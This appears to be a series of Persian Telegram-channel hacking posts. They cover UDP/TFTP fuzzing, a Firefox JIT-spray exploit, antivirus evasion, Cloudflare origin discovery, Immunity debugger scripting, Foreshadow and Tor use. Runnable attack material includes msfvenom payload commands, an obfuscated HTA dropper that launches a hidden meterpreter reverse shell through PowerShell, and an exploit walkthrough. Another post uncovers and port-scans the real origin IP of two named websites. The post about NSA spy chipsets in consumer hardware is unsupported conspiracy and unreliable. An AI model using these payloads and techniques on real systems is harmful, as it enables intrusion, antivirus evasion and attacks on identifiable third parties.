موضوع جاسوسی جهانی که NSA آمریکا بصورت جبر بابته انحصار قطعات سخت افزاری حساس مانند CPU الزام میکنه تا شرکت های بزرگ مانند Asus MSI Iphone Sumsung و غیره چیپست های سخت افزاری جاسوسی NSA رو بر روی محصولات نصب نمایند البته بسیاری از این شرکت های بزرگ با سازمان های جاسوسی بزرگ دنیا یکی هستند یعنی صاحبان آنها یک شخص است و آدم های امسال بیل گیتس عروسکی صرفا برای شناسایی نشدن افراد اصلی هستند,همیشه تاریخ بالاترین تکنیک امنیت یک شخص ناشناس بودن اون هست و این موضوع باعث میشود تا به سادگی کنترل تمامی فضاهای اصلی دنیای دیجیتال رو داشته بانشد.

#Stateless
و اما در مورد این چیپست ها همونطور که در شماتیک تصویر میبینید یک نمونه رو, در کنار سخت افزارهای دیگه نصب و وجود دارند اما اونها چطور کار و چیکار میکنند جواب سوال اولی اینه که این چیپست ها دارای بکدور باینری میباشند که مستقیما ترنسفرهای پردازنده رو شنود فعالیت ها,استخراج رمزها,دریافت لیست درایوها, اثرانگشت تاچ پد,تصویر قرنیه چشم به محض اینکه شخص به دوربین وبکم خیره شود و موقیعت مکانی ارسال میکنند, این چیپست ها به صورت کلی دارای سه ایتم میباشند

* Persist
* Store secrets
* Pll

#Compartmentalization
خوب موضوع بعدی اینه که چطور میشه مقابله کرد برای اینکار محققان امنیتی یک سیستم عامل لینوکس پایه طراحی کردند به نام Qubes OS که دارای یکسری ویژگی هایی میباشد مانند:

*App sandboxing
*Qube Converters
*mplate VM
*Binrary MultiSigning

خوب اولین ایتم که توضیح میدم Binrary MultiSigning هستش.
همه ما میدونیم که هر فایل دارای cert خاص خودش هست که مجوز نصب امن رو بر روی سیستم عامل های ویندوزی حاصل خواهد کرد نکته بعدی اینه که این مجوزها اگر بصورت چندتای پیاده سازی شوند موجب امنیت محصول خواهد شد چرا که جعل signing ها میتواند باعث بایپس سیستم های دیتکتیو خواهد شد ایتم دو سندباکس هستش که به شما این امکان رو میده که هر اپی که نصب میکنید رو در این فضای کلود شده از سرویس هایی که اون اپ نیاز داره که از هر بخش این استعداد وجود داره که این کلود انجام بشه که خوب تحت این شرایط اگر برنامه مخربی باشه اون اپ یا فایل Executable سریع شناسایی و پروسس هاش بسته خواهد شد ایتم بعدی مکانیزم تانلینگ هستش که تا به امروز ورژن های جدید سیستم عامل Whonix Gateway میتونه با این سیستم عامل Qubes OS ارتباط بگیره و ما اطلاعات خودمون رو هر اطلاعاتی با هر پروتکلی رو از بستر شبکه تور ارتبات خواهد گرفت که خوب این موضوع هم میتونه جلوگیری کنه از شناس شدن استفاده کننده این سیستم عامل و از کار افتادن بکدورهایی که برای شبکه WAN یا همون Internet نوشته شده اند چرا که بک کانکت گرفتن بکدور ها از بستر شبکه تور مکانیزم خاصی رو مطلبه که بکدور شبکه تور رو ساپورت کنه که از این موارد بکدور اندک دیده میشه ایتم بعدی بحث تمپلیت او اس هستش که برای این کار هم این سیستم عامل مکانیزم خاصی رو پیش گرفته به این گونه که ارتباط سیستم عامل با مخزن آپدیت ها و گت ها بربستر فضای مجازی شده به اسم تمپلیت او اس خواهد بود و بعد از اونه که به قسمت یوزرلند میره پس این سیستم عامل مستقیم اپدیت هارو به کرنل لند نخواهد برد ایتم بعدی سیستم بکابگیری سیستم عامل هست که به شما این امکان رو میده که اطلاعات کامل سیستم عامل رو یکجا بکاب میگیره و به همون صورت میتونه روی این سیستم عامل حالا بر بستر لپتاپ دیگری عملیات ریستور رو انجام و سیستم به همون حالت بکاب گرفته شده برگرده امکانات دیگری هم بود که محدودیت پست تلگرام امکان توضیح بیش از این رو نمیده.
https://www.qubes-os.org
https://www.whonix.org/wiki/Download

Qubes OS: A reasonably secure operating system

Qubes is a security-oriented, free and open-source operating system for personal computers that allows you to securely compartmentalize your digital life.

#Fuzzing UDP
در این پست میخواهیم در مورد تکنیک های فازینگ برای شناسایی آسیب پذیری های تحت حافظه مانند سرریزبافر بر روی پروتکل UDP انجام دهیم…

همونطور که میدونید ما برای شناسایی آسیب پذیری های حافظه از تکنیک های همچون فازینگ استفاده میکنیم که من یه پست در این باره هم زدم در همین چنل اما این بار میخوام کمی دقیقتر اونم روی پروتکل UDP که ارتباطات Connectionless هستش صحبت کنم,برای مثال بر روی سرویس TFTP که بر روی پروتکل UDP پیاده میشه تمرکز میکنیم اولین کاری مه نیازه انجام بدیم به دست آوردن RFC این سرویس هستش برای اینکه بتونیم متوجه شیم که ساختار پکت های TFTP بر بستر پروتکل UDP چطوره و ما چطور میتونیم فازینگش کنیم با یک جستجو ساده میشه فهمید که ساختار پکت TFTP به چه صورت میباشد من این اطلاعات رو اینجا میزارم

Opcode = 2bytes
Filename = string
0 = 1byte
Mode = string
0 = 1 byte

خوب همونطور که میبینیم ساختار پکتها دارای ۲ بایت Opcode هستش که کار این قسمت درخواست پکت رو به سرویس دهنده اعلام میکنه مثلا اگر این مقدار Opcode که ۲ بایت داره بایت اول که 0 قرار میگیره و بایت دوم اگر 1 باشه یعنی پکت میخواد بخونه رشته ای رو اگر 2 باشه یعنی میخواد بنویسه رشته ای رو و اگر 3 باشه یعنی میخواد داده ای رو بارگذاری کنه و اگر 4 باشه یهنی میخواد تصدیق ACK رو انجام بده و اگر 5 باشه یعنی Error و خطا رخ داده خوب من زمانی که میخوام فاز انجام بدم باید Opcode رو با مقدار 2 که درخواست نوشن هست پر کنه خوب بعد از Opcode مقدار رشته که حاوی نام هست باید نوشته شه و بعد از قسمت Filename یک بایت نال قرار میدیم چون ساختار پکت اینتوره و بعد از اون قسمت Mode قرار داره که مقدار رشته اصلی برنامه درونش جا داده میشه که اینجا جایی هست که ما میتونیم فازینگ رو پیاده کنیم و بعد از قسمت Mode باز یک مقدار نال ۱ بایتی گذاشته میشه و اینطور ساختار پکت پیاده خواهد شد خوب حالا من نیاز دارم که یک اسکریپت بنویسیم که یک حلقه داشته باشه که مقدار A مارو بصورت زنجیروار زیاد کنه و هربار مقداری که درون قسمت Mode میره رو ۱۰۰ تا ۱۰۰ تا بیشتر کنه واسه اینکار یک اسکریپت پایتونی رو ساخته و دستورات زیر رو وارد میکنیم

Open terminal
1.touch udpTFTP.py && nano udpTFTP.py Added

#!/usr/bin/python import socket bufferarray = [“A” * 100] addition = 200 while len(bufferarray) <= 50: bufferarray.append(“A” * addition) addition += 100 for value in bufferarray: tftppacket = “\x00\x02” + “AVI” + “\x00” + value + “\x00” print “Fuzzing Length Charts…” + str(len(value)) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(tftppacket,(‘192.168.1.3’ ,69)) response = s.recvfrom(2048) print response Save & Close
2.python udpTFTP.py همونطور که میبینید ما یه متقیر bufferarray تعریف کردیم که ۱۰۰ تا کارکتر A داره بعد یک متقیر دیگه تعریف کردیم به نامه addition که با عدد ۲۰۰ پر شده و یک حلقه درست به وجود آوردیم که میگه طوله کارکترها به ۵۰ رسید ۲۰۰ تا اضافه کن و به اون ۲۰۰ تا بعدا ۱۰۰ تا دیگه بریز بعدش یک حلقه for تعریف میکنیم که میاد اول ساختار پکت رو اونطور که توضیح دادم میسازه و در قسمت value که همون قسمت Mode در ساختار پکت هست کارکترهایی که تعریف کردیمو میریزه و بعد با کتاب خونه Socket پکت بر بستر پروتکل UDP پرتاب میشه و سر آخر آدرس سرویس دهنده با پورت مشخص میشه و بعد از اونم مقدار Response به طول 2048 تعریف میشه که دریافت پاسخ سرویس دهنده رو بگیره و چاپ کنه واسه ما.
خوب با این اوضاع ما عملیات خودمون رو شروع میکنیم تا سرویس دهنده رو به روی ما که بر بستر ماشین مجازی ما پیاده شده و بر روی دیباگر مانیتور هست رو زیره نظر داریم تا ببینیم کی و با چه طول کارکتری قراره بشکنه اگه آسیب پذیر باشه من در ادامه یکی دوتا نکته هم بگمو تمام
اول اینکه این مدل حملات کمی قدیمی هستند و در تاکت های جدید به گونه های دیگه ای عملیات های فازینگ انجام میشه که پیشنهاد میکنم تحقیق کنید در موردش و نکته دوم اینکه ما با تحلیل سرویس دهنده هم میتونیم آسیب پذیری هارو کشف کنیم مثلا اگه من میومدم و با IDA Pro برنامه سرویس دهنده رو باز میکردم و در قسمت پردازش فیلد ورودی Mode توابه ای مانند strcpy میدیدم,میفهمیدم به Stack BufferOverflow آسیب پذیره برنامه پس تاکتیک های شناسایی آسیب پذیری بیش از تکنیک فازینگ میباشد امیدوارم خوشتون امده باشه…

#ASLR/DEP Bypass Using ASM.JS JIT Spray
مکانیزم های امنیتی که همیشه تلاش دارند که جلوی حملات باینری رو بگیرند در سناریو حملات Web Attack چطور بایپس خواهد شد؟؟؟

خوب در بسیاری از حملات سایبری سراسری از روش Web Attack برای قربانیان استفاده میشه این بدین معنیه که هکرها با اکسپلویت کردن مرورگرها موفق به اجرای کد در سیستم عامل قربانی میشن و دسترسی حاصل خواهد شد حالا بحثی که وجود داره اینکه که تمام سیستم عامل های بروز امروزی به مکانیزم های دفاعی ASLR/DEP/NX/SMEP/CET و غیره مجهز هستند که همه این مکانیزم ها در هدف نقطه اشتراک دارند هدف اونها جلوگیری از اجرای کد در آسیب پذیری های کشف شده هکر ها هستش,خوب با این اوصاف هکرها باید در پی دور زدن این مکانیزم ها باشن و تاکتیک هایی به کار ببرند, این تاکتیک ها بسته به نوع سیستم عامل متفاوته مثلا اگر ما بخواهیم ASLR رو در سیستم عامل های لینوکسی دور بزنیم میتونیم از روش برگشت به کتابخونه صحبت کنیم که اصلاحا Ret2Libc گفته میشه اما در سیستم عامل ویندوز بهتر اینه که بیان از روش Bruteforce استفاده کنند که من در این پست میخوام به این موضوع بپردازم,اول از همه اینو باید بگم که ما در مرحله اول نیاز داریم که آسیب پذیری رو از مرورگر پیدا کنیم برای کنترل EIP که بتونیم اجرای کد داشته باشیم من یکی از آسیب پذیری های این سبکی که از مرورگر فایرفکس گزارش شد رو اشاره میکنم که در سال ۲۰۱۶ با شناسه CVE-2016-2819-CVE-2016-1960 ثبت شد رو اشاره میکنم خوب ماجرای این آسیب پذیری از این قرار بود که در سورس مرورگر فایرفاکس ۴۶ که مربوط به پارسر HTML بوده

firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp در لاین 1102 مقدار pop(); که مقدار node->release() رو برای تماس با EIP میبره میتونه طعمه خوبی برای اجرای کد باشه وظیفه این حلقه for این بوده که مقادیر Node صدا شده در فرمت HTML رو ترکیب میکنه تو این فرمت که گفتم در NodeJS اگر مقدار GetGroup() استفاده بشه اون رو برابر eltPos میکنه و ترکیب در نهایت مقدار در پشته وارد استک میشه و مقدار pop() مستقیما آدرس برگشت بعد از عملیات خواهد بود,خوب ما در مرحله اول با استفاده از تاکتیک JIT-Spray که مخفف Just in Time هستش که در کانال #####  کتاب هایی براش داریم پایلودی رو به زبانه اسمبلی میسازیم که عملیات پایلود حاوی باز شدن ماشین حساب در ویندوز هستش که بصورت زیر پایلود ساخته میشه

msfvenom –payload windows/exec CMD=calc.exe -f py > msf_windows_exec_cmd.py که بعد از ساخته شدن با این ابزار به زبان Javascript تبدیل خواهد شد که حالا این ابزار دقیقا چطور اینکارو میکنه رو جا نمیشه اینجا بگم فقط در همین حد بگم که مقدار پایلود به py جنریت شده رو با مقدار با متد JIT-Spray که قبلا گفتم بر روی تابع STATIC FLOAT POOL LOADER به اجرا میکشه ابزار در آدرس زیره و به صورت که مثال زدم استفاده میشه

Open terminal
1.git clone https://github.com/rh0dev/shellcode2asmjs.git && cd shellcode2asmjs && chmod 755 * 2../sc2asmjs.py -f bin_payloads/msf_windows_exec_cmd.py -o out/msf_exec_cmd_float_pool.html اکی پس تا اینجای کار شلکد رو فهمیدیم چطور بسازیم و آسیب پذیری در کجای ماجراست حالا باید با متد بروت فورس مکانیزم هارو بایپس و شلکد رو در موقعیت EIP بنشونیم واسه اینکار ما نیاز داریم که بر بستر حافظه Heap بیایم یک Object فیک طراحی کنیم و افست اون رو برابر 0x100000 قرار بدیم و این نکته رو بگم که این کار بر روی حلقه current_address که درون خودش مقدار node_target_addr رو داره انجام میشه چرا که حدف ما کنترل تابعی که در اونجا آسیب پذیره هستش خوب هکر امده افست پیشفرض خودش رو تعریف کرده و بعد از اون امده مقدار افست رو به صورت درختی پرش داده تا به آدرس افست EIP مورد نظر برسه که سر آخر همه این عملیات با استفاده از تابع onload صدا زده شده و پیاده میشود,طریقه دزدیدن یک Array

this.arrays = function() { const array = new Array(); for (let i = 0; i < 0x800; i++) { array[i] = new Array(); for (let j = 0; j < 0x10000; j++) { /* 0x11223344, 0x55667788 */ array[i][j] = 2.5160082934009793e+103; } } return array; }; میتونید اکسپلویت و گزارش آسیب پذیری رو در لینک های زیر ببینید.
https://bugzilla.mozilla.org/show_bug.cgi?id=1246014
https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-1960_Firefox_44.0.2_float_pool_spray.html#L80

bugzilla.mozilla.org

1246014 – (CVE-2016-1960) ZDI-CAN-3545: Mozilla Firefox nsHtml5TreeBuilder Array…

VERIFIED (hsivonen) in Core – HTML: Parser. Last updated 2016-09-22.

#Obfuscation Code for BypassAVs
نمونه ای از تکنیک مبهم سازی کد برای دور زدن مکانیزم های Detections که موجب شناسای پایلود ما میشود…

>

 

خب ما برای اینکه بتوانیم دیوایس هایی که کارشون شناسایی شلکدها هستش رو چطور میتوان دور زد و مانع شناسایی شلکد خودمون توست این مکانیزم ها که آنتی ویروس ها یکی از همین مکانیزم های نرم افزاری هستش شد,خب یکی از تاکت های قابل توجهی که بسیار از اون استفاده میشه بحث مبهم سازی کد هستش که موجب خطای تفسیر هوش مصنوعی مکانیزم های شناساگر میشود در اولین قدم شما باید نکته ای رو مد نظر قرار بدید اونم اینه که امروزه از فضاهای متفاوتی میشه پایلودی رو به یک سیستم قربانی تزریغ کرد یکی از فضای های بسیار جذاب و کار آمد استفاده از یکی ازخانواده فرمت html هستش بنام HTA که میتوان بر بستر این فرمت کدهای جاوا و VBScript اجرا نمود خب این نکته جالبیه اما اینجا جالب تر میشه که بدونید ما میتونیم بر بستر این فرمت هم پیج وب بالا بیاریم هم درون وب با تابع هایی مانند onload اسکریپتی رو به اجرا در بیاریم و از این جالب تر باز اینه ما میتونیم بر با استفاده از VBScript یک پروسس رو ساخته و مقدار دهی کنیم که حالا این مقدار فرض کنید اجرای یک شلکد بر روی خط فرمان Powershell باشه که خب در این صورت میشه اجرای شلکد داشتو دسترسی حاصل شه اما باز نکته زیباتر این موضوع در این بحث مبهم سازی هم نقش ایفا میکنه یعنی اگه بخوام ساده بگم مانور در زبان پاورشل و جاوا اسکریپت بسیار زیاده برای تکنیک های مبهم سازی که همین موضوع باعث میشه آنتی ویروس هارو یه حالی داد بشون,اکی از حرف زدن پرهیز و مرحله اول اینکارو شروع میکنیم برای اینکار اول من باید یک شلکد برای خط فرمان پاورشل روی فرمت HTA از Msfvenom بسازیم برای اینکار دستور زیرو بزنید

Open terminal
1.msfvenom -p windows/meterpreter/reverse_tcp LHOST=(NoIP) LPORT=5555 -i 43 -f hta-psh > chars.raw && cat chars.raw | awk {‘print $7’} | awk -F “,” ‘{print $1}’| sed ‘s/.$//’ 8AcwB0AG…………………………………kAHMAKQA7AA==

خب بعد از این دستور ما پایلودی میبینیم که به Base64 اینکد شده مرحله دوم کار ساختن یک پروسس بر بستر فایل Wscript.shell هستش که میتونیم بر روی این فایل اسکریپت های سمت وب رو اجرا کنیم خوب به این بنده خدا میگیم داش ما رو ببر پشه Command Prompt بعد به این بنده شدا میگیم یه امانتی داریم یه لطفی کن بده به پاورشل اجراش کنه به کد زیر دقت کنید

<script %00 > zeroo=ActiveXObject; SRpT=”WScript” steUyo=SRpT + “.Shell” one=new zeroo(steUyo); Fa0CB0Ok Two.run(‘%windir%\\System32\\cmd.exe /c’+ ‘powershell.exe -nop -w hidden -e ‘ + Go0Gole , 0);window.close(); </script %00 > اکی تا اینجای کار ما یک Object بر بستر سرویس ActiveX ساختیم که این Object مساوی با مقدار WScript.shell هستش که باز به این بنده خدا خط فرمانی برای پاورشلی که ما بالاتر ساختیم رو به اجرا در بیاره اما دوتا نکته کلیدی که باس دقت کنید بش اونم اینه که اول ما همین ساخت Object رو یاید مبهم سازی کنیم دوم اینکه ما اون شلکدی که بالا از Msfvenom ساختیم رو باید تیکه تیکه کنیم و به فرض کنید ۶۰۰ متغییر در زبان جاوا اسکریپت تبدیل کنیم بعد همه اون هارو بریزیم توی یک متغییر و بعد اون رو برابر با Go0Gle قرار میدیم برای اینکار به کد پایین دقت کنید

<script %00 > tlFJlFXYDiqNA=ActiveXObject; TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU=”WScript” VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp=TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU + “.Shell” AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV=new tlFJlFXYDiqNA(VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp); var0=’aQBmACgAWw’;var1=var0+’BJAG4AdABQ’;var2=var1+’AHQAcgBdAD’;………………var684+’A7AA==’; AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV.run(‘%windir%\\System32\\cmd.exe /c’+ ‘powershell.exe -nop -w hidden -e ‘ + var685 , 0);window.close(); </script %00 > خب میبینید که اولا متغییرها همه مبهم شدن و اون قسمتی که من ………….. گذاشتم ۶۰۰ تا متغییر تعریف میشه که هر متغییر ۱۰ تا کارکتر شلکد Base64 شده هستش که در نهایت همه اینا با هم جمع شدن و در آخر همشون توی متغییر var685 جمع میشن و در نهایت میرن که با دستور -e شناخته بشن به پاورشل تا جاوا بشه و دسترسی حاصل بشه همونطور که میبینید ۳تا دیتکشن شناختن که باز اشتباه تشخیص دادن دقت کنید به عنوان Downloader شناخته شده اونم بخاطر اینه که تو پایلود Base64 Msfvenom اگر دیکد کنیدش متوجه میشید که درونش از IEX استفاده شده که آنتی ویروس ها به IEX که یک تابع برای دانلود String در پاورشل هست گیر میدن اگر پایلود رو دیکد کنید مقدار IEX رو هم مبهم کنید و بعد دوباره به Base64 تبدیل کنیدو باقیه ماجرا همین ۳ آنتی ویروس هم بایپس میشن 🙂

#Filtering Bypass
آموزش دور زدن فیلتریگ تلگرام برای همیشه, در این روش شما نیاز به هیچگونه اکانتی ندارید و هویت آی پی شما هم ناشناش میشود,در اکثر سیستم عامل ها قابل پیاده سازیست.

خب در مرحله اول ما باید برنامه Termux رو برای سیستم عامل اندرویدی دانلود کنیم و پکیج Tor رو روش نصب و فعال کنیم و بعد از اون آدرس پروکسی Tor که به این آدرس فعال میشه رو به برنامه هایی مثل تلگرام معرفی و به این صورت بحث فیلتریگ رو دور بزنیم

https://play.google.com/store/apps/details?id=com.termux&hl=en

بعد از نصب برنامه این دستور رو وارد کنید تا پکیج ها نصب و فعال بشه

Open termux
1.pkg update
2.pkg install tor -y
3.tor

بعد از فعال سازی پکیج نصبی Tor شما میبایست برنامه Termux رو Minimize کنید و وارد برنامه مثلا تلگرام شده و پروکسی تلگرام رو به این آدرس ست کنید تا از طریقه شبکه Tor به تلگرام وصل شده و فیلتریگ دور بخوره آدرس اینه

127.0.0.1

پورت رو هم این قرار بدید

9050

و اما نکات آخر اولا که شما زمانی که از طریقه شبکه Tor وصل میشید به تلگرام آی پی شما غیرقابل ردیابی هستش نکته دوم اینه که این روش همیشه و بر روی هر برنامه ای که پروکسی آی پی رو ساپورت میکنه کار خواهد کرد مدل مشابه این موضوع رو هم میتونید بر روی ویندوز و لینوکس هم پیاده کنید در ویندوز مرورگر Tor رو نصب کنید و بالا بیارید و دقت کنید که در ویندوز پورت Tor Browser متفاوت هستش به این صورت

9150

بر روی لینوکس هم میتونید پکیج Tor رو نصب کنید بر روی Debian

1.apt-get install tor -y && service tor start

بر روی Fedora

1.yum install tor && tor

دوستانی که باز متوجه روش نشدن میتوانند با یک جستجو در Youtube موضوع رو کاملا درک کنند
https://www.torproject.org/download/download-easy.html.en

Google Play

Termux – Apps on Google Play

Termux combines powerful terminal emulation with an extensive Linux package collection.

• Enjoy the bash and zsh shells.
• Edit files with nano and v…

#Cloudflare Bypass
در بحث فایروال های نرم افزاری که به اسمه WAF مشهور هستند توضیحات و چالش های دور زدن اونها رو کمی در حد مقدور بحث خواهیم کرد.

فایروال های نرم افزاری مکانیزم هایی هستند که بسیار امروزه کار آمد دیده میشن از نگاه برنامه نویسان وب و حتی امنیت کارهای تازه کار,در این خصوص شرکتی به چشم میخوره که در تست های انجام شده بهترین بازده رو داشته با نام Cloudflare که خوب پیدایش این شرکت در اول ماجرا برای جلوگیری از حملات Dos & DDoS به صحنه امد و بعدها وارد فازهای دیگه هم شد مانند شناسایی پایلودهای حملات سمت سرور و تزریق Query های SQLi که خوب با مکانیزم هایی که پیاده میکنه هکرهارو اذیت میکنه مانند تشخیص پایلودهای SQLi و Thread های بسیاری که شبهه هکرها با ابزار SQLMap انجام میدهند رو شناسایی میکنه و آی پی Attacker رو بلاک میکنه و از این قبیل اذیت کردن ها که خب در جای خودش چالشی حساب میشه برای عزیزان پنتستر اما من امروز در اسکرین شاتی که گذاشتم آی پی Real یک تارگت رو که کمی دادو بیداد هم کرده تو فضای امنیت رو بایس کردیم تا دوستان و عزیزانی که فکر میکنند پشته سرویس های ساخته شده غربی ها میتوانند قائم شن و بگن ما امنیت داریم نه دوستان عزیز هر آنچه که یک انسان میسازه قابل دور خوردن هست اما قرار نیست در فضای عموم فاش بشه این نکته رو هم بگم که این تارگت آدرس وبسایتش این هستش

http://amentech.ir

که اگر پینگ یا Result دستور زیر رو بگیرید آی پی سرویس Cloudflare در خواهد آمد

Open terminal
1.dnsenum amentech.ir Host’s addresses:
__________________

amentech.ir. 300 IN A 104.18.33.2
amentech.ir. 300 IN A 104.18.32.2

Name Servers:
______________

sandy.ns.cloudflare.com. 62085 IN A 173.245.58.219
zod.ns.cloudflare.com. 65555 IN A 173.245.59.250

و خب آی پی Real و باپس شده این سایت آیپی زیر هستش

Bypassed CDN

http://151.232.1.197

2.proxychains nmap -Pn -sV –osscan-guess 151.232.1.197 PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
23/tcp filtered telnet
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
80/tcp open http (PHP 5.6.30)
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
465/tcp open ssl/smtp Postfix smtpd
587/tcp open smtp Postfix smtpd
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
2022/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
2030/tcp open http (PHP 7.0.24)
3306/tcp open mysql MariaDB (unauthorized)
4444/tcp filtered krb524

3.searchsploit OpenSSH 6.6 🙂

که سایت بالا خواهد آمد و حاکی از اینه که WAF بایپس شده

دوستان میتونن به صاحب سایت اطلاع بدن که آی پی اصلی سایتش لو رفته

@Hackinux

البته دوست داشتید آماره پکیج های امنیتش رو هم بگیرید و قیمت هایی که میده من واقعا قصد حمله به کسیو ندارم صرفا بر بحث دور زدن CDN سایت ایشون رو قربانی قرار دادم و اما کلام آخر دوستان و عزیزان همراه ما بدانند که ما صرفا قدرت دور زدن CDN های معروف و خارجی رو انجام نمیدیم و سرویس های ایرانی مانند Avandcoud هم از این قاعده ما خارج نیستند اما چون تیم ایرانی بود و عزیزان,شرکت Cloudflare رو معتبر تر میدونند ما هم این سرویس رو اسم اوردیم امیدوارم این ذهنیت رو که این سرویس ها امنیت ۱۰۰٪ رو میدن رو از فکر خودتون بیرون کرده باشید.

4.dnsenum iran-cyber.net Host’s addresses:
__________________

iran-cyber.net. 300 IN A 104.27.155.136
iran-cyber.net. 300 IN A 104.27.154.136

Name Servers:
______________

dara.ns.cloudflare.com. 54098 IN A 173.245.58.91
tony.ns.cloudflare.com. 85641 IN A 173.245.59.240

Bypassed CDN

https://94.130.79.88

https://www.cloudflare.com

Cloudflare

Cloudflare – The Web Performance & Security Company | Cloudflare

Here at Cloudflare, we make the Internet work the way it should. Offering CDN, DNS, DDoS protection and security, find out how we can help your site.

#Immunity Library Python
دیباگر قدرتمند و انعطاف پذیر Immunity کتابخونه ای در پایتون داره که به کاربرها امکان های جالبی میده….

این دیباگر بیشتر برای بحث اکسپلویتینگ استفاده میشه و به خاطر انعطافی که در کتابخونه خودش که با نام immlib توسعه داده شده میتونه به هکر این امکان رو بده که اطلاعات مختلفی رو به واسطه اسکریپت هایی که با این کتابخونه مینویسه بدست بیاره ,یکی از این اسکریپت های معروف و کار آمد اسکریپت Mona.py هستش که در بحث اکسپلویت نویسی کمک دست بسیار خوب یک هکر هستش اما از اسکریپت های دیگه ای که برای محیط Immunity نوشته شده میشه به Pvefindeddr.py اشاره کرد که این هم در بحث اکسپلویت نویسی کمک دسته خوبیه برای مثال اگر از امکانات این کتابخونه بخوام بگم میتونم به این اشاره کنم که Mona.py میتونه برای هکر بصورت خودکار آدرس های Return of Oriented رو بسازه که خب موجب دور خوردن مکانیزم های DEP,ASLR میتونه بشه اما جدا از بحث این اسکریپت ها,خود ما هم میتونیم اسکریپت های جالبی برای این دیباگر بنویسیم که برخی از کارهای اکسپلویت نویسی رو راحت و خودکار کنیم برای مثال یک هکر برای اکسپلویت خودش باید مکان ESP برای خودش در نظر داشته باشه تا شلکد خودش رو اونجا به اجرا دربیاره,ما برای این موضوع میتونیم اسکریپتی رو بنویسیم که خودکار آدرس های موجود ESP رو برای ما لیست کنه به کد زیر دقت کنید

Open notepad++
Added

from immlib import * def main(args): imm = Debugger() search_code = “”.join(args) search_bytes = imm.Assemble(search_code) search_results = imm.Search(search_bytes) for hit in search_results: code_page = imm.getMemoryPagebyAddress(hit) access = code_page.getAccess(human = True) if “execute” in access.lower(): imm.log([*] Found %s(0x%08x)” % (search_code, hit), address = hit) return “[*] Finished searching for instructions, check the Log window.” Save & Close > findstruct.py

خب در خط اول و دوم کتابخونه وارد اسکریپت میشه و در خط بعدی باید یک متغییر به نام main تعریف بشه و یک ارگومان ورودی به اون داده میشه و در خط چهارم تابع دیباگر که در کتابخونه تعریف شده صدا زده میشه و درون مقدار imm ریخته میشه و در خط بعدی ورودی گرفته و به search_code ریخته میشه خط بعد که میشه خط هفت از متد Assemble() استفاده و ورودی رو به اسمبلی Convert میکنیم در خط بعد از متد Search() استفاده و مقدار وارد شده که به اسمبلی تبدیل شده رو درون پروسس های برنامه Attach شده میگرده در خط بعد نتیجه به صفحه ای که Code وجود داره رفته و دسترسی به اون صفحه مقدار True میگیره و بعد از اون مقدار های پیدا شده رو چاپ و به کاربر نشون میده این اسکریپت رو به آدرس

C:/Program Files (x86)/Immunity Inc/Immunity Debugger/PyCommands به اسم findstruct.py ذخیره کنید و وارد برنامه شده و دستور

Open Immunity > Attach Program > Ctrl+L
!findstruct jmp esp [*] Found: jmp esp (0x769ed099)
[*] Found: jmp esp (0x769eaaf6)
[*] Found: jmp esp (0x77156412)

وارد کنید و آدرس های پیدا شده رو ببینید حالا دغدغه آدرس ESP نخواهید داشت .
https://debugger.immunityinc.com
https://github.com/corelan/mona

GitHub

corelan/mona

Corelan Repository for mona.py. Contribute to corelan/mona development by creating an account on GitHub.

#Foreshadow OOBE
آسیب پذیری جدید که در مکانیزم و ساختار پردازنده های Intel کشف شده و به شخص حمله کننده این امکان رو میده که بتونه اطلاعات رو بخونه از روی CPU و حتی تغییر بده…

حمله Foreshadow یک حمله فعال هستش که بر روی پردازنده های اینتل انجام میشه این حمله به صورت پویاانجام میشه یکی اینکه میتونه اطلاعات ذخیره شده در L1 پردازنده رو بدزده و نکته دوم اینه که میتونه مقداری رو به اجرا در بیاره این آسیب پذیری بر روی دو نسل قابل انجامه یک سیستم های SGX و دیگری VM ها در سطح SGX که یک ویژگی جدید در پردازنده های مدرن اینتل به کار رفته که برای محافظت از اطلاعات کاربرها در مقابل با آسیب پذیری Meltdown-Spectre هستش اما آسب پذیری Foreshadow به نوعی نشون میده که میتونه این مکانیزم رو دور بزنه به این صورت که یک کپی از اطلاعاتی که در فضای Protect شده SGX میگیره و به بخش دیگری از پردازنده که این محافظت رو نداره بارگذاری میکنه و میاد تایید خصوصی دستگاه رو بدست میاره و با استفاده از همین کلید مکانیزم SGX رو مجبور به خراب کردن اکوسیستم SGX میکنه و در حمله اصلی Foreshadow اطلاعات رو دزدیده و به هکر میرسونه.
در مکانیزم Next Generation اطلاعات ذخیره شده در L1 حافظه از جمله اطلاعات ذخیره شده حالت های Hypervisor و سیستم مدیریتی SMM میتونه بدزده و در سایر ماشین های مجازی در حال اجرا هم به خطر بندازه که مکانیزم این مدل هم مثل مدل قبلی خواهد بود این نوع دوم حمله رو Foreshadow-NG نام میبرند که اقدامات دفاعی در برابر آسیب پذیری های Spectre و Meltdown رو دور خواهد زد.
#CVE-2018-3615
#CVE-2018-3620
#CVE-2018-3646
https://foreshadowattack.eu
https://en.wikipedia.org/wiki/Software_Guard_Extensions
https://software.intel.com/security-software-guidance/software-guidance/l1-terminal-fault

Wikipedia

Software Guard Extensions – Wikipedia

processor extension

#DEP Bypass
مکانیزم هایی درون سیستم عامل های ویندوز وجود دارند که کارشان جلوگیری از اجرای کد از طریق آسیب پذیری میباشد در این پست به چگونگی دور زدن اونها میپردایم.

